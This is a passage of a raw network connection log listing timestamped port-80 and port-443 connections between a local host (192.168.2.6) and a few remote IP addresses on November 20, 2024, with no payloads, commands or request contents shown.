Nov 20, 2024 14:43:42.086344004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.086379051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.086507082 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.087301016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.087362051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.087939024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.087989092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.088377953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.088392019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.088480949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.089392900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.089495897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.089646101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.089924097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.090399027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.090455055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.090760946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.090887070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.091428995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.091499090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.091717005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.091816902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.092508078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.092561960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.092581987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.092641115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.093466043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.093522072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.093569994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.093683004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.094464064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.094520092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.094746113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.094871044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.095474005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.095520973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.095576048 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.095665932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.096451044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.096502066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.096710920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.096760035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.097522974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.097593069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.097652912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.097702980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.098517895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.098624945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.098654985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.098953962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.099530935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.099591970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.100009918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.100055933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.100554943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.100565910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.100631952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.101589918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.101764917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.101795912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.101850033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.102583885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.102847099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.102885962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.102958918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.103739977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.103750944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.103821039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.104685068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.104779005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.104798079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.104834080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.105673075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.105724096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.106024027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.106179953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.106695890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.106766939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.106782913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.106929064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.107870102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.107925892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.108083010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.108150005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.108764887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.108880043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.108959913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.109162092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.110600948 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.110661030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.110670090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.110785007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.110797882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.110817909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.110908031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.111780882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.111891985 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.111912966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.112183094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.112783909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.112838984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.112953901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.112998009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.113789082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.113867044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.114554882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.114660978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.114787102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.114834070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.114905119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.114988089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.115881920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.115931988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.116736889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.116796017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.116890907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.116904974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.117062092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.118046045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.118060112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.118128061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.118191957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.118969917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.118983984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.119029045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.119937897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.120012045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.120289087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.120455027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.120933056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.120997906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.121014118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.121057987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.121908903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.122042894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.122065067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.122433901 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.122951031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.123013973 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.123024940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.123064995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.123985052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.124032021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.124319077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.124385118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.124958992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.125020981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.125050068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.125078917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.126115084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.126301050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.126835108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.126883030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.127132893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.127151966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.127202034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.128057003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.128184080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.166825056 CET	49876	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:42.166861057 CET	443	49876	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:42.166930914 CET	49876	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:42.168385983 CET	49876	443	192.168.2.6	184.28.190.91
Nov 20, 2024 14:43:42.168397903 CET	443	49876	184.28.190.91	192.168.2.6
Nov 20, 2024 14:43:42.261506081 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.261518955 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.261550903 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.261565924 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.261639118 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.261652946 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.261706114 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.261785984 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.292743921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.292834044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.292889118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.293076992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.293220997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.293378115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.293456078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.294238091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.294333935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.294370890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.294416904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.295347929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.295409918 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.295500040 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.295543909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.296504974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.296518087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.296560049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.296595097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.297439098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.297604084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.297667980 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.298438072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.298526049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.298585892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.298775911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.299477100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.299537897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.299654961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.299700975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.300589085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.300669909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.301023960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.301141024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.301512957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.301527977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.301621914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.301621914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.302510023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.302668095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.302732944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.303555965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.303602934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.303702116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.303750992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.303910971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.303924084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.303936958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.303957939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.303986073 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.306447983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.306505919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.306577921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.306621075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.306760073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.306807041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.307578087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.307642937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.308372021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.308430910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.308693886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.308860064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.309036016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.309082031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.309535980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.309597015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.310000896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.310050011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.310513020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.310664892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.310745001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.310899019 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.310909033 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.310952902 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.310982943 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.310996056 CET	443	49857	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:42.311014891 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.311108112 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:42.311682940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.311732054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.312335968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.312386036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.312833071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.312885046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.312979937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.313025951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.313647032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.313817024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.313818932 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.313905001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.314784050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.314795971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.314846039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.315777063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.315845013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.315954924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.316145897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.316798925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.316843987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.316936016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.316994905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.317718983 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.317778111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.318063974 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.318912029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.318983078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.319375992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.319433928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.319787979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.319839001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.320087910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.320130110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.320780993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.320852995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.321249962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.321299076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.321930885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.322020054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.322221994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.322309971 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.323129892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.323142052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.323235989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.323235989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.323940039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.324001074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.324088097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.324130058 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.324868917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.324935913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.325107098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.325155020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.326042891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.326059103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.326143026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.326977968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.326994896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.327074051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.328109980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.328213930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.328233957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.328371048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.329114914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.329299927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.329483986 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.330174923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.330295086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.330480099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.330528021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.330956936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.331104994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.331136942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.331554890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.332130909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.332144022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.332212925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.332212925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.333141088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.333153009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.333194017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.333215952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.334095001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.334391117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.334441900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.334633112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.335262060 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.335325003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:42.335732937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:42.335781097 CET	49800	80	192.168.2.6	185.215.113.206
